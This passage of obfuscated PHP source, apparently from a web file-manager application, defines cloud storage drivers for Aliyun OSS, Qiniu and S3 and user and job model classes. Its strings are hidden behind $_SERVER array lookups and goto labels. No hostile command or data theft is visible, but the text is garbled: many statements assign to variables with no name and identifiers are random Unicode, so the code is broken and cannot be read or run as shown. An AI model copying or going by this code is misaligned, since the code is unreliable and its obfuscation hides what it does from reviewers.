=== 0) { $ = array($[256] => $, $[246] => $֞); if ($) { $ = array_merge($, $); } } return $; } public function listUploadParts($, $) { $ =& $_SERVER[ϋ]; $޶ = parse_url_query($[$[178]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($), $޶[$[245]]); $ = $->getListPart(); $Æߕ = array(); foreach ($ as $کյ) { $Æߕ[] = array($[1453] => $کյ->getPartNumber(), $[1454] => trim($کյ->getETag(), $[121])); } unset($[$[247]], $[$[251]]); $ޘ = $this->multiUploadAuthData($, $); if (empty($ޘ)) { return !1; } return array($[256] => $ޘ, $[246] => $[$[246]], $[258] => $Æߕ); } public function download($, $) { $˘ =& $_SERVER[ϋ]; if ($this->isFolder($)) { return !1; } try { $㤯ʌ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $); $㤯ʌ = $this->trafficLimit($˘[112], $㤯ʌ); $this->client->getObject($this->bucket, $this->pathEncode($), $㤯ʌ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $˘[205] . $->getMessage()); return !1; } return $; } public function fileSubstr($ڷ, $ = 0, $ = false) { if ($ === -1) { $ŀލ = array(); } else { if ($ === !1) { $϶ = $this->size($ڷ); } else { $϶ = $ + $ - 1; } $ŀލ = array(OSS\OssClient::OSS_RANGE => "{$}\55{$϶}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($ڷ), $ŀލ); } catch (OSS\Core\OssException $Ϩ) { $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][205] . $Ϩ->getMessage()); think_exception($Ϩ->getMessage()); return !1; } } private function trafficLimit($, $± = array()) { $ߖ =& $_SERVER[ϋ]; if ($ == $ߖ[1459] && $this->isUploadServer() || $ == $ߖ[112] && $this->isFileOutServer()) { return $±; } $Է = floatval($GLOBALS[$ߖ[6]][$ߖ[92]][$ߖ[110]][$]) * 1024 * 1024 * 8; if (!$Է) { return $±; } $Է = $Է < 819200 ? 819200 : ($Է > 838860800 ? 838860800 : $Է); $±[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($Է); return $±; } public function link($, $ƛ = array()) { $ =& $_SERVER[ϋ]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $ƛ = $this->trafficLimit($[112], $ƛ); $ݛ = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $[252], $ƛ); return $this->getCdnLink($ݛ); } catch (OSS\Core\OssException $ܝ) { $this->writeLog(__FUNCTION__ . $[205] . $ܝ->getMessage()); return !1; } } public function fileOut($̽, $當 = false, $ֺIJ = false, $Їч = '') { $ =& $_SERVER[ϋ]; if ($this->isFileOutServer()) { return $this->fileOutServer($̽, $當, $ֺIJ, $Їч); } if (!$ֺIJ) { $ֺIJ = $this->pathThis($̽); } $ֺIJ = rawurlencode($ֺIJ); $އ = get_file_mime(get_path_ext($ֺIJ)); if ($އ == $[239]) { return parent::fileOut($̽, $當, $ֺIJ, $Їч); } $當 = $當 ? $[1469] : $[1470]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1471] . rawurlencode("{$當}\x3b\146\x69\x6c\145\156\x61\x6d\145\75{$ֺIJ}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1472] . rawurlencode($އ); $ؚ = $this->link($̽, $); $this->fileOutLink($ؚ); } public function fileOutServer($ڊ, $ = false, $ߕ޷ = false, $ = '') { parent::fileOut($ڊ, $, $ߕ޷, $); } public function fileOutImage($Ɏ, $װ = 250) { if ($this->size($Ɏ) > 1024 * 1024 * 20) { return $this->fileOutImageServer($Ɏ, $װ); } $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[ϋ][1429] . $װ); $Ⅲ = $this->link($Ɏ, $); $this->fileOutLink($Ⅲ); } public function fileOutImageServer($Ƨ, $Ĺ = 250) { parent::fileOutImage($Ƨ, $Ĺ); } public function fileOutLink($Ԫ) { $ =& $_SERVER[ϋ]; if (!$this->isCdnHost() && substr($Ԫ, 0, 7) == $[1377]) { $Ԫ = $[1378] . substr($Ԫ, 7); } header($[165] . $Ԫ); die; } public function hashMd5($װ, $ܲ = '') { $ =& $_SERVER[ϋ]; $¦ = $this->_objectMeta($װ); if (!$¦) { return $[12]; } if (!isset($¦[$[1449]]) && !empty($ܲ)) { $ = $this->updateObjMeta($װ, array($[1449] => $ܲ)); $¦[$[1449]] = $ ? $ܲ : $[12]; } return isset($¦[$[1449]]) ? strtolower($¦[$[1449]]) : $[12]; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[ϋ][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ݍ) { return $this->isFile($ݍ) || $this->isFolder($ݍ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($ԉׅ) { return $this->cacheMethod($_SERVER[ϋ][169], $ԉׅ); } protected function objectMeta($­) { return $this->cacheMethod($_SERVER[ϋ][171], $­); } protected function _objectMeta($) { $ =& $_SERVER[ϋ]; try { $  = $this->client->getObjectMeta($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[205] . $->getMessage()); $  = !1; } if ($ ) { $ [$[79]] = intval($ [$[1447]]); } return $ ; } protected function _isFolder($懾) { $͂ =& $_SERVER[ϋ]; if ($懾 == $͂[12] || $懾 == $͂[8]) { return !0; } $쥖 = array($͂[1442] => $͂[8], $͂[1443] => rtrim($懾, $͂[8]) . $͂[8], $͂[1444] => 1, $͂[1445] => $͂[12]); $栛 = $this->client->listObjects($this->bucket, $쥖); if ($栛->getObjectList() || $栛->getPrefixList()) { return !0; } return !1; } public function writeLog($ = '', $􈙾 = false) { $罭 =& $_SERVER[ϋ]; $Ǝ = in_array(ACTION, array($罭[203], $罭[204])); if (!$Ǝ && !GLOBAL_DEBUG) { return; } $ƿ = 0; if (stripos($, $罭[1473]) !== !1) { $ƿ = 1; $ = explode($罭[1474], $); $ = !empty($[1]) ? $[1] : $; } else { if (stripos($, $罭[1475])) { $ƿ = 2; $ = explode($罭[1475], $); $ = explode($罭[4], $[0]); $ = !empty($[1]) ? $[1] : $; } } if ($Ǝ && I18n::getType() == $罭[1476]) { if ($ƿ == 1) { $ = str_replace($罭[1477], $罭[1478], $); } else { if ($ƿ == 2) { $ = explode($罭[205], $[0]); $ = isset($[1]) ? $[1] : $罭[12]; $ = array($罭[1479] => $罭[1480], $罭[1481] => $罭[1482], $罭[1483] => $罭[1484], $罭[1485] => $罭[1486], $罭[1487] => $罭[1488], $罭[1489] => $罭[1490], $罭[1491] => $罭[1492], $罭[1493] => $罭[1494], $罭[1495] => $罭[1496], $罭[1497] => $罭[1498]); if (isset($[$])) { $ = $[$]; } } } if (stripos($, $罭[1499])) { $ = $罭[1500]; } } if (!trim($)) { return; } parent::writeLog(trim($), $􈙾); } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($߭ۘ) { parent::__construct(); require_once SDK_DIR . $_SERVER[ϋ][1501]; $this->_init($߭ۘ); } public function _init($݉) { $ =& $_SERVER[ϋ]; $this->config = $݉; foreach ($݉ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1502] . LNG($[1433])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($, $IJ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $IJ)) { return $this->getPathOuter($); } return !1; } public function mkdir($ˬ, $џ = REPEAT_SKIP) { $ =& $_SERVER[ϋ]; $ˑּ = trim($ˬ, $[8]); if ($this->_isFolder($ˑּ)) { return $this->getPathOuter($ˑּ); } $ˬ = $ˑּ . $[8]; $ = get_path_this($ˑּ); $ = $ˬ . $; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $ˬ)) { $this->delFile($); return !1; } return $this->getPathOuter($ˑּ); } public function copyFile($͇, $) { $̲ = $this->bucketManager->copy($this->bucket, $͇, $this->bucket, $, !0); return $̲ ? !1 : $this->getPathOuter($); } public function moveFile($ƽ, $) { $ = $this->bucketManager->move($this->bucket, $ƽ, $this->bucket, $, !0); return $ ? !1 : $this->getPathOuter($); } public function delFile($ӁLJڂ) { if (!$this->exist($ӁLJڂ)) { return !0; } $ = $this->bucketManager->delete($this->bucket, $ӁLJڂ); return $ ? !1 : !0; } public function delFolder($) { $Ԃ =& $_SERVER[ϋ]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ˌ = trim($, $Ԃ[8]) . $Ԃ[8]; if (!empty($) && $ !== $Ԃ[219] && !in_array($ˌ, $[$Ԃ[85]])) { $[$Ԃ[85]][] = $ˌ; } $Τ = $this->delByBatch($[$Ԃ[86]]); if (!$Τ) { return !1; } $Τ = $this->delByBatch($[$Ԃ[85]]); if (!$Τ) { return !1; } return $this->delFile($ˌ); } private function delByBatch($) { foreach (array_chunk($, 1000) as $܋) { $ӄꡖ = $this->bucketManager->buildBatchDelete($this->bucket, $܋); list($Ҡ, $􁄺) = $this->bucketManager->batch($ӄꡖ); if ($􁄺) { return !1; } } return !0; } public function rename($, $̵߭) { return $this->renameObject($, $̵߭); } public function fileInfo($ṅ, $븼 = false, $ͩ = array()) { $Ă =& $_SERVER[ϋ]; $ = array($Ă[32] => $this->pathThis($ṅ), $Ă[87] => $this->getPathOuter($Ă[8] . $ṅ), $Ă[33] => $Ă[221], $Ă[79] => isset($ͩ[$Ă[1503]]) ? $ͩ[$Ă[1503]] : 0, $Ă[178] => $this->ext($ṅ)); if ($븼) { return $; } $[$Ă[222]] = $[$Ă[88]] = 0; $[$Ă[223]] = $[$Ă[224]] = !0; if (empty($ͩ)) { $ͩ = $this->objectMeta($ṅ); if (!$ͩ) { return $; } } if (isset($ͩ[$Ă[225]]) && $ͩ[$Ă[225]]) { $[$Ă[226]] = $ͩ[$Ă[225]]; } if (isset($ͩ[$Ă[236]]) && $ͩ[$Ă[236]]) { $[$Ă[226]] = $ͩ[$Ă[236]]; } if (isset($ͩ[$Ă[1504]])) { $[$Ă[88]] = substr($ͩ[$Ă[1504]] . $Ă[12], 0, 10); } if (isset($ͩ[$Ă[1503]])) { $[$Ă[79]] = $ͩ[$Ă[1503]]; } return $; } public function folderInfo($ǀ, $ߒڷ = false) { $ˁ =& $_SERVER[ϋ]; $ɯ = array($ˁ[32] => $this->pathThis($ǀ), $ˁ[87] => $this->getPathOuter($ˁ[8] . $ǀ), $ˁ[33] => $ˁ[78]); if ($ߒڷ) { return $ɯ; } $ɯ[$ˁ[222]] = $ɯ[$ˁ[88]] = 0; $ɯ[$ˁ[223]] = $ɯ[$ˁ[224]] = !0; $ǀ = rtrim($ǀ, $ˁ[8]) . $ˁ[8]; $ = $this->objectMeta($ǀ); if (isset($[$ˁ[1504]])) { $ɯ[$ˁ[88]] = substr($[$ˁ[1504]] . $ˁ[12], 0, 10); } return $ɯ; } public function listPath($, $ = false) { $ѽ =& $_SERVER[ϋ]; $֓ = $this->fileList($, $ѽ[8], !0); foreach ($֓[$ѽ[85]] as $ => $Ҽ) { $֓[$ѽ[85]][$] = $this->folderInfo($Ҽ, $); } foreach ($֓[$ѽ[86]] as $ => $Ҽ) { $֓[$ѽ[86]][$] = $this->fileInfo($Ҽ[$ѽ[97]], $, $Ҽ); } return $֓; } public function has($׽ᒺ, $ޟ = false, $ = true) { $ =& $_SERVER[ϋ]; $׽ᒺ = trim($׽ᒺ, $[8]); $粌 = empty($׽ᒺ) && $׽ᒺ !== $[219] ? $[12] : $׽ᒺ . $[8]; $ٝ = $[12]; $ = 500; $ĕ = $[8]; $ = $ = 0; while (!0) { check_abort(); list($, $Ҳؿ) = $this->bucketManager->listFiles($this->bucket, $粌, $ٝ, $, $ĕ); if ($Ҳؿ) { break; } $ٝ = array_key_exists($[1445], $) ? $ٝ = $[$[1505]] : $[12]; if ($ޟ) { if (!empty($[$[1506]])) { $ += count($[$[1506]]); } if (!empty($[$[1507]])) { $ += count($[$[1507]]); } if ($ٝ === $[12]) { break; } continue; } if ($) { if (!empty($[$[1506]])) { return !0; } } else { if (!empty($[$[1507]])) { return !0; } } if ($ٝ === $[12]) { break; } } if ($ޟ) { return array($[230] => $, $[231] => $); } return !1; } public function listAll($) { $ =& $_SERVER[ϋ]; $ = $this->fileList($, $[12], !0); $͖χ = array_to_keyvalue($[$[86]], $[32]); foreach ($[$[85]] as $) { if (is_string($)) { $͖χ[$] = array($[79] => 0); } } return $this->listAllFiles($, $͖χ); } private function fileList($, $ = '', $ݫ = 0) { $լ =& $_SERVER[ϋ]; $ = trim($, $լ[8]); $ = empty($) && $ !== $լ[219] ? $լ[12] : $ . $լ[8]; $ = $լ[12]; $؆ = 1000; $ = $ = array(); while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $, $, $؆, $); if ($) { break; } $ = array_key_exists($լ[1445], $) ? $ = $[$լ[1505]] : $լ[12]; $β = isset($[$լ[1506]]) ? $[$լ[1506]] : array(); $ = isset($[$լ[1507]]) ? $[$լ[1507]] : array(); foreach ($β as $) { if ($[$լ[97]] == $) { continue; } $ō = $[$լ[97]]; $Ǹ = $[$լ[1503]]; $[$լ[79]] = $Ǹ; $ = $Ǹ == 0 && substr($ō, strlen($ō) - 1, 1) == $լ[8] ? !0 : !1; $this->cacheMethodInfoSet($ō, $, $); if ($) { $[] = $ō; continue; } $[] = $ݫ ? $ : $ō; } foreach ($ as $ō) { if ($ō == $) { continue; } $[] = $ō; $this->cacheMethodInfoSet($ō, !0); } if ($ === $լ[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($լ[85] => $, $լ[86] => $); } public function canRead($彗) { return $this->exist($彗) ? !0 : !1; } public function canWrite($蕸) { return $this->exist($蕸) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ = '') { $ = $this->tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($ڬ) { $Ș =& $_SERVER[ϋ]; $ߛ = array(); if (is_array($ڬ)) { foreach ($ڬ as $ى) { $ߛ[] = $this->link($ى); } } else { $ߛ[] = $this->link($ڬ); } $ޏ = new Qiniu\Cdn\CdnManager($this->auth); list($џԔ, $) = $ޏ->refreshUrls($ߛ); if ($) { return !1; } return $џԔ[$Ș[1235]] == $Ș[811] ? !0 : !1; } public function fileSubstr($Ԃ, $, $) { $관͵ =& $_SERVER[ϋ]; if (!($ꮒ = $this->link($Ԃ))) { return !1; } $ގ͵ = !1; if ($ > 0) { $퓠 = $ + $ - 1; $ގ͵ = array($관͵[1508] . $ . $관͵[446] . $퓠); } $ș = url_request($ꮒ, $관͵[252], !1, $ގ͵); return $ș[$관͵[802]] ? $ș[$관͵[1255]] : !1; } public function upload($, $Ò, $ = false, $𗡴 = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $); $π۶ = get_file_mime(get_path_ext($Ò)); list($, $) = $->putFile($, $, $Ò, null, $π۶); return $ ? !1 : $this->getPathOuter($); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUploadFormData($ϡ, $ = 3600) { return $this->uploadToken($ϡ, $); } private function uploadToken($, $Θ = 3600) { $睰 =& $_SERVER[ϋ]; $ = $Θ; $ = array($睰[1509] => $睰[1510]); $Ҁ = $; $Ӊ = $this->auth->uploadToken($this->bucket, $Ҁ, $, $, !0); $׸Ȃ = empty($this->region) || $this->region == $睰[1511] ? $睰[12] : $睰[446] . $this->region; $՝ = http_type() . "\x3a\x2f\57\165\160\x6c\157\141\x64{$׸Ȃ}\56\x71\x69\x6e\x69\x75\x70\x2e\x63\157\155\x2f"; return array($睰[1512] => $Ӊ, $睰[1513] => $՝); } public function download($Ղ, $) { $͏ = IO::getPathInner(IO::mkfile($)); if (!($Ι = $this->link($Ղ))) { return !1; } $ = 0; $ = 1024 * 200; $䓷 = fopen($͏, $_SERVER[ϋ][1514]); while (!0) { $ꃸ = $this->fileSubstr($Ղ, $, $); if ($ꃸ === !1) { return !1; } fwrite($䓷, $ꃸ); $ += $; if (strlen($ꃸ) < $) { break; } } fclose($䓷); return $; } public function link($Ԩ, $۞ߘ = '') { if (!$this->isFile($Ԩ)) { return !1; } $ = $this->getHost() . $_SERVER[ϋ][8] . $this->pathEncode($Ԩ) . $۞ߘ; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($ȅ, $坡 = false, $͓ܼ = false, $ߴƜ = '') { $ܗ =& $_SERVER[ϋ]; if ($this->isFileOutServer()) { return $this->fileOutServer($ȅ, $坡, $͓ܼ, $ߴƜ); } if (!$͓ܼ) { $͓ܼ = $this->pathThis($ȅ); } $œ = $坡 ? $ܗ[1515] . rawurlencode($͓ܼ) : $ܗ[12]; $ = $this->link($ȅ, $œ); $this->fileOutLink($); } public function fileOutServer($Ö, $͢ = false, $ = false, $͞ = '') { parent::fileOut($Ö, $͢, $, $͞); } public function fileOutImage($۬, $ = 250) { $ϝн = $this->link($۬, $_SERVER[ϋ][1516] . $); $this->fileOutLink($ϝн); } public function fileOutImageServer($׮, $aك = 250) { parent::fileOutImage($׮, $aك); } public function hashMd5($) { $ݞ =& $_SERVER[ϋ]; $ = $this->objectMeta($); return isset($[$ݞ[236]]) ? $[$ݞ[236]] : !1; $ҝ = $this->link($, $ݞ[1517]); } public function size($) { $ɒ = $this->objectMeta($); return $ɒ ? $ɒ[$_SERVER[ϋ][79]] : 0; } public function info($ɨ) { if ($this->isFolder($ɨ)) { return $this->folderInfo($ɨ); } else { if ($this->isFile($ɨ)) { return $this->fileInfo($ɨ); } } return !1; } public function exist($ϊ) { return $this->isFile($ϊ) || $this->isFolder($ϊ); } public function isFile($ة) { return !$this->isFolder($ة) && $this->objectMeta($ة); } public function isFolder($ؔ) { return $this->cacheMethod($_SERVER[ϋ][169], $ؔ); } protected function objectMeta($ˑ) { return $this->cacheMethod($_SERVER[ϋ][171], $ˑ); } protected function _objectMeta($β) { $€Ԛ =& $_SERVER[ϋ]; list($ߘ, $) = $this->bucketManager->stat($this->bucket, $β); if ($ߘ) { $ߘ[$€Ԛ[79]] = intval($ߘ[$€Ԛ[1503]]); } return $ߘ; } protected function _isFolder($Ҳ) { $ =& $_SERVER[ϋ]; if ($Ҳ == $[12] || $Ҳ == $[8]) { return !0; } list($, $) = $this->bucketManager->listFiles($this->bucket, trim($Ҳ, $[8]) . $[8], $[12], 1, $[8]); return !empty($[$[1506]]) || !empty($[$[1507]]) ? !0 : !1; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($ݯ) { parent::__construct($ݯ); } public function uploadFormData($, $֡ = 3600) { $ƉҌ =& $_SERVER[ϋ]; $֑ = $ƉҌ[220]; $ = $ƉҌ[261]; $ = $ƉҌ[62]; $ݷ = gmdate($ƉҌ[262]); $ = gmdate($ƉҌ[263]); $䆘 = $ƉҌ[264]; $状 = $֡ . $ƉҌ[12]; $ܵ = $ƉҌ[265]; $ͼ = array($this->accessKey, $, $this->region, $, $䆘); $Ϣ = implode($ƉҌ[8], $ͼ); $ϰϴ = array($ƉҌ[266] => gmdate($ƉҌ[1380], strtotime($ƉҌ[268])), $ƉҌ[269] => array(array($ƉҌ[270] => $this->bucket), array($ƉҌ[271] => $֑), array($ƉҌ[272], $ƉҌ[273], $ƉҌ[12]), array($ƉҌ[272], $ƉҌ[274], $ƉҌ[12]), array($ƉҌ[272], $ƉҌ[275], $ƉҌ[12]), array($ƉҌ[276] => $ܵ), array($ƉҌ[277] => $Ϣ), array($ƉҌ[278] => $), array($ƉҌ[279] => $ݷ), array($ƉҌ[280] => $状))); $ȃ = base64_encode(json_encode($ϰϴ)); $ = hash_hmac($ƉҌ[281], $, $ƉҌ[282] . $this->secret, !0); $ = hash_hmac($ƉҌ[281], $this->region, $, !0); $ = hash_hmac($ƉҌ[281], $, $, !0); $ù = hash_hmac($ƉҌ[281], $䆘, $, !0); $ = hash_hmac($ƉҌ[281], $ȃ, $ù); $ޚ = array($ƉҌ[237] => $ƉҌ[12], $ƉҌ[283] => $ƉҌ[12], $ƉҌ[271] => $֑, $ƉҌ[276] => $ܵ, $ƉҌ[284] => $ȃ, $ƉҌ[285] => $Ϣ, $ƉҌ[286] => $, $ƉҌ[287] => $ݷ, $ƉҌ[288] => $状, $ƉҌ[289] => $, $ƉҌ[199] => $this->getHost()); return $ޚ; } public function multiUploadFormData($ڷ, $丩 = 3600) { $ =& $_SERVER[ϋ]; $ٕ = gmdate($[1518]); $η = array(); $ݡ = $this->client->getUploadId($this->bucket, $ڷ, $η); if (!$ݡ) { return !1; } return array($[245] => $ݡ, $[199] => $this->getHost() . $[8] . $this->pathEncode($ڷ), $[246] => $ٕ, $[97] => $ڷ); } public function multiUploadAuthData($, $ = array()) { $ =& $_SERVER[ϋ]; $ = isset($[$[178]]) ? $[$[178]] : $[12]; $ݙ = $[$[97]]; unset($[$[97]]); if (isset($[$[247]])) { return $this->listUploadParts($ݙ, $); } $ = array(); if (isset($[$[1519]])) { $[$[1520]] = $[$[1519]]; } $я = explode($[201], $this->getHost()); $ͼ = array($[1521] => $я[1], $[1522] => $[12], $[237] => $[123], $[283] => $[$[79]]); $좶 = $[250]; $ = $[8] . $this->pathEncode($ݙ) . $; $ր = $this->client->__getSignatureV4($, $ͼ, $좶, $); if (strpos($, $[249]) === 0) { if (isset($[$[1520]])) { $܍ = $[$[1520]]; } else { if (isset($ր[$[1520]])) { $܍ = $ր[$[1520]]; } else { $܍ = hash($[281], $[12]); } } return array($[256] => $ր[$[256]], $[1520] => $܍, $[246] => $ր[$[1523]]); } return $ր[$[256]]; } public function listUploadParts($ܜ, $߲ = array()) { $طǠ =& $_SERVER[ϋ]; $ = str_replace($طǠ[257], $طǠ[12], $߲[$طǠ[178]]); $Ď = $this->client->listParts($this->bucket, $ܜ, $); if (!$Ď) { return !1; } $έ = $طǠ[1524]; foreach ($Ď as $) { $έ .= $طǠ[1525] . "\x3c\120\x61\162\x74\116\x75\x6d\142\145\162\x3e{$[$طǠ[1453]]}\x3c\57\x50\141\162\x74\116\165\155\142\145\x72\x3e\xa" . "\74\x45\x54\141\147\x3e{$[$طǠ[1454]]}\74\57\x45\124\141\147\76\xa" . $طǠ[1526]; } $έ .= $طǠ[1527]; $ȴ = array(); $͑ = explode($طǠ[201], $this->getHost()); $ɉŪ = array($طǠ[1521] => $͑[1], $طǠ[237] => $طǠ[123], $طǠ[283] => strlen($έ)); $֎ = $طǠ[248]; $ߒ = $طǠ[8] . $this->pathEncode($ܜ) . $߲[$طǠ[178]]; $ = $this->client->__getSignatureV4($ȴ, $ɉŪ, $֎, $ߒ, $έ); return array($طǠ[256] => $[$طǠ[256]], $طǠ[246] => $[$طǠ[1523]], $طǠ[258] => $Ď, $طǠ[1520] => $[$طǠ[1520]]); } public function link($򠎐, $й = array()) { return parent::link($򠎐, $й); } public function fileOut($ČƋ, $ӥ = false, $ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[ϋ][1528])) { return parent::fileOutServer($ČƋ, $ӥ, $, $); } parent::fileOut($ČƋ, $ӥ, $, $); } public function fileOutImage($, $Ȥ = 250) { if (strstr($this->endpoint, $_SERVER[ϋ][1528])) { return parent::fileOutImageServer($, $Ȥ); } parent::fileOutImage($, $Ȥ); } public function fileOutLink($ݬ) { $˙ =& $_SERVER[ϋ]; if (substr($ݬ, 0, 7) == $˙[1377]) { $ݬ = $˙[1378] . substr($ݬ, 7); } header($˙[165] . $ݬ); die; } } goto D̹Ԉ; FĿд: define($_SERVER[ϋ][293], 1); define($_SERVER[ϋ][294], 0); define($_SERVER[ϋ][295], 2); goto c; E쟃: class UserJobModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\x65\x6d\x2e\152\x6f\x62\x4c\151\x73\x74"; public $field = array("\x6e\x61\155\x65", "\x64\145\x73\143", "\163\157\x72\x74"); const JOB_KEY = "\163\x65\154\146\112\157\142\114\x69\x73\164"; public function listData($ݎ = false, $ = "\163\x6f\x72\164", $ޜ = false) { return parent::listData($ݎ, $, $ޜ); } public function remove($) { return parent::remove($); } public function add($ȁ) { $ =& $_SERVER[ϋ]; if ($this->findByName($ȁ[$[32]])) { return !1; } $ȁ[$[1976]] = $this->getSort(); return parent::insert($ȁ); } private function getSort() { $Ɣ =& $_SERVER[ϋ]; $ư = parent::listData(); $ = array_to_keyvalue($ư, $Ɣ[12], $Ɣ[1976]); return empty($) ? 0 : max($) + 1; } public function update($ևβ, $̃Ԓ) { $܆׎ =& $_SERVER[ϋ]; $ӝ = parent::listData($ևβ); $ = $this->findByName($̃Ԓ[$܆׎[32]]); if (!$ӝ || $ && $[$܆׎[459]] != $ӝ[$܆׎[459]]) { return !1; } return parent::update($ևβ, $̃Ԓ); } public function setUserJob($ݐ, $Ӥȿ) { $ =& $_SERVER[ϋ]; if (!is_array($Ӥȿ)) { $Ӥȿ = array($Ӥȿ); } $ = parent::listData(); $ñ = array_to_keyvalue($, $[32]); $̭ = $[438]; foreach ($Ӥȿ as $ҙ) { if ($ñ[$ҙ]) { $̭ .= $ñ[$ҙ][$[459]] . $[50]; } else { $ベ = $this->add($ҙ); $̭ .= $ベ . $[50]; } } $̭ = rtrim($̭, $[50]); Model($[583])->metaSet($ݐ, self::JOB_KEY, $̭); } public function getUserJob($) { $Ɣ = Model($_SERVER[ϋ][583])->metaGet($); return $this->getUserJobInfo($Ɣ[self::JOB_KEY]); } public function getUserJobInfo($ƙ) { $掄 =& $_SERVER[ϋ]; $̌Ƅ = explode($掄[50], $ƙ); $ۮ = parent::listData(); $ۮ = array_remove_key($ۮ, $掄[222]); $ = array(); foreach ($̌Ƅ as $߼) { if (isset($ۮ[$߼])) { $[] = $ۮ[$߼]; } } return $; } } class UserModel extends ModelBase { protected $tableName = "\165\x73\145\x72"; protected $tableMeta = array("\164\x61\142\154\x65\x4e\x61\155\145" => "\x75\163\x65\162\137\x6d\145\x74\x61", "\x6d\145\164\x61\106\x69\145\x6c\144" => "\x75\x73\x65\162\x49\x44"); protected $simpleField = "\x75\163\x65\162\111\x44\54\156\151\143\x6b\116\141\x6d\x65\54\x6e\141\x6d\145\x2c\x61\166\x61\164\x61\x72\x2c\x73\145\170\54\163\x74\141\x74\x75\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($К) { $ =& $_SERVER[ϋ]; $ = $[2434]; return array($[2035] => array($К[0], $), $[2037] => array($К[0], $), $[2435] => array($К[0], $)); } protected function getInfo($ɩ, $ˤ = false) { $̲ = $this->getInfoSimple($ɩ); if (!is_array($̲)) { return array(); } if ($ˤ) { return $this->_getInfoApply($̲); } return $this->cacheFunctionGet($_SERVER[ϋ][2039], $ɩ); } protected function getInfoFull($, $ = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[ϋ][2436], $); } private function _getInfoApply($׺, $ = false) { $늓 =& $_SERVER[ϋ]; if (!$׺) { return $׺; } $ک = md5($늓[2437] . $׺[$늓[938]] . $늓[2438] . $׺[$늓[32]]); $׺ = $this->_listDataApplyItem($׺); $ܯ = Model($늓[1388])->metaGet($׺[$늓[90]][$늓[184]]); $׺[$늓[2439]] = $ک; $׺[$늓[90]][$늓[2233]] = isset($ܯ[$늓[2234]]) ? $ܯ[$늓[2234]] : null; if ($) { $׺[$늓[523]] = $this->metaGet($׺[$늓[1754]]); } return $׺; } protected function getInfoSimple($𿥈, $ے簸 = false) { $Ԉ =& $_SERVER[ϋ]; if (!$𿥈) { return array(); } if ($ے簸) { $ = $this->where(array($Ԉ[1754] => intval($𿥈)))->find(); if (!is_array($)) { return array(); } $[$Ԉ[2440]] = Action($Ԉ[2441])->parseUrl($[$Ԉ[2440]]); return $; } return $this->cacheFunctionGet($Ԉ[2040], $𿥈); } protected function getInfoSimpleOuter($ه) { $ը =& $_SERVER[ϋ]; if (!$ه || $ه == 0) { return array($ը[1754] => $ը[219], $ը[32] => $ը[166] . LNG($ը[2442]) . $ը[168], $ը[2440] => STATIC_PATH . $ը[2443]); } $ = $this->cacheFunctionGet($ը[2040], $ه); $̢ȿ = array_field_key($, explode($ը[50], $this->simpleField)); if (!$̢ȿ) { return array($ը[1754] => $ը[1241], $ը[32] => $ը[166] . LNG($ը[2444]) . $ը[168], $ը[2440] => STATIC_PATH . $ը[2445]); } $̢ȿ[$ը[2440]] = Action($ը[2441])->parseUrl($̢ȿ[$ը[2440]]); return $̢ȿ; } protected function groupUser($ס) { } public static function errorLang($ޑ) { $ɋݑ =& $_SERVER[ϋ]; $ӱ = array(self::ERROR_USER_NOT_EXISTS => $ɋݑ[2446], self::ERROR_USER_PASSWORD_ERROR => $ɋݑ[2447], self::ERROR_USER_EXIST_NAME => $ɋݑ[2448], self::ERROR_USER_EXIST_PHONE => 